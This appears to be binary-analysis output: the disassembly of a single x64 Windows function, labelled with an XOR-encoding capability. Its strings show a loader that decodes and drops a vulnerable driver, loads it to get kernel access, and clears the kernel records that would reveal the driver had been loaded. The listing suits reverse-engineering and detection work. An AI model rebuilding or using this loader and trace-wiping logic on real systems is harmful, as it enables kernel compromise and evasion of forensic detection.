Function at 0x140002800
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r15
push rbp
mov rbp, rsp
sub rsp, 0x80
mov esi, dword [0x14008a234]
xor ecx, ecx
call fcn.14001dc3c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call fcn.14001a828
xor edx, edx
lea r8d, [rdx + 0x64]
lea r15, [0x14008a1d0]
mov rcx, r15
call fcn.140016a70
call fcn.14001a7fc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
xor ebx, ebx
movsxd rdi, r8d
test r8d, r8d
jle 0x1400028ba
call fcn.14001a7fc
movsxd rcx, eax
movabs rax, 0x4ec4ec4ec4ec4ec5
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
lea rax, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
mov al, byte [rcx + rax]
mov byte [rbx + r15], al
inc rbx
cmp rbx, rdi
jl 0x140002884
call fcn.140002708
mov rcx, rax
call fcn.140002780
lea rdx, str.____Loading_vulnerable_driver__Name:
lea rbx, [0x140088a70]
mov rcx, rbx
call fcn.140009174
mov rdi, rax
lea rcx, [rbp - 0x20]
call fcn.1400023a4
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x1400028f8
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.14000bb2c
mov rcx, rax
call fcn.1400093c0
nop
lea rcx, [rbp - 0x20]
call fcn.140007cb8
call fcn.1400026b8
test al, al
je 0x14000293e
lea rdx, str.____Nal_is_already_in_use.
mov rcx, rbx
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
or rax, 0xffffffffffffffff
jmp 0x140002b8c
lea rcx, [rbp - 0x40]
call fcn.1400024a4
nop
cmp qword [rbp - 0x30], 0
jne 0x140002958
lea rdx, str.____Cant_find_TEMP_folder
jmp 0x1400029d1
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
call fcn.14001ab94
lea eax, [rsi - 3]
cmp eax, 1
jbe 0x14000298a
lea eax, [rsi - 1]
cmp eax, 1
ja 0x1400029e6
mov r8d, 0x8708
lea rdx, [0x14007f960]
jmp 0x1400029bd
lea rdx, [0x1400778f0]
mov rax, rdx
mov ecx, 0x807
movdqa xmm1, xmmword [0x14004b1a0]
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140002999
mov r8d, 0x8070
lea rcx, [rbp - 0x40]
call fcn.140011198
test al, al
jne 0x1400029e6
lea rdx, str.____Failed_to_create_vulnerable_driver_file
mov rcx, rbx
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
jmp 0x140002b7c
lea rcx, [rbp - 0x40]
call fcn.140010cd8
test al, al
jne 0x140002a0b
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
call fcn.14001ab94
jmp 0x140002b7c
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [0x140048ff0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140002b74
mov qword [rbp - 8], 0xf
mov qword [rbp - 0x10], 0xc
movsd xmm0, qword [0x140049188]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x140049190]
mov dword [rbp - 0x18], eax
mov byte [rbp - 0x14], 0
lea rcx, [rbp - 0x20]
call fcn.140011234
mov qword [0x14008a238], rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140002ac5
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ab9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ba9
call fcn.140014298
mov rax, qword [0x14008a238]
test rax, rax
jne 0x140002ae1
lea rdx, str.____Failed_to_get_ntoskrnl.exe
mov rcx, rbx
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
mov rcx, rdi
call fcn.140004680
cmp esi, 4
jne 0x140002b11
test al, al
jne 0x140002b09
lea rdx, str.____Failed_to_ClearPiDDBCacheTable1
mov rcx, rbx
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
mov rcx, rdi
call fcn.140004310
test al, al
jne 0x140002b2c
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
mov rcx, rbx
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
mov rcx, rdi
call fcn.140004c10
test al, al
jne 0x140002b4f
lea rdx, str.____Failed_to_ClearKernelHashBucketList
mov rcx, rbx
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
mov rcx, rdi
call fcn.1400038e0
test al, al
jne 0x140002b80
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
mov rcx, rbx
call fcn.140009174
mov rcx, rax
call fcn.1400093c0
jmp 0x140002b80
mov rcx, rdi
call fcn.140002f4c
or rdi, 0xffffffffffffffff
lea rcx, [rbp - 0x40]
call fcn.140007cb8
mov rax, rdi
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14001e6e4
nop
int3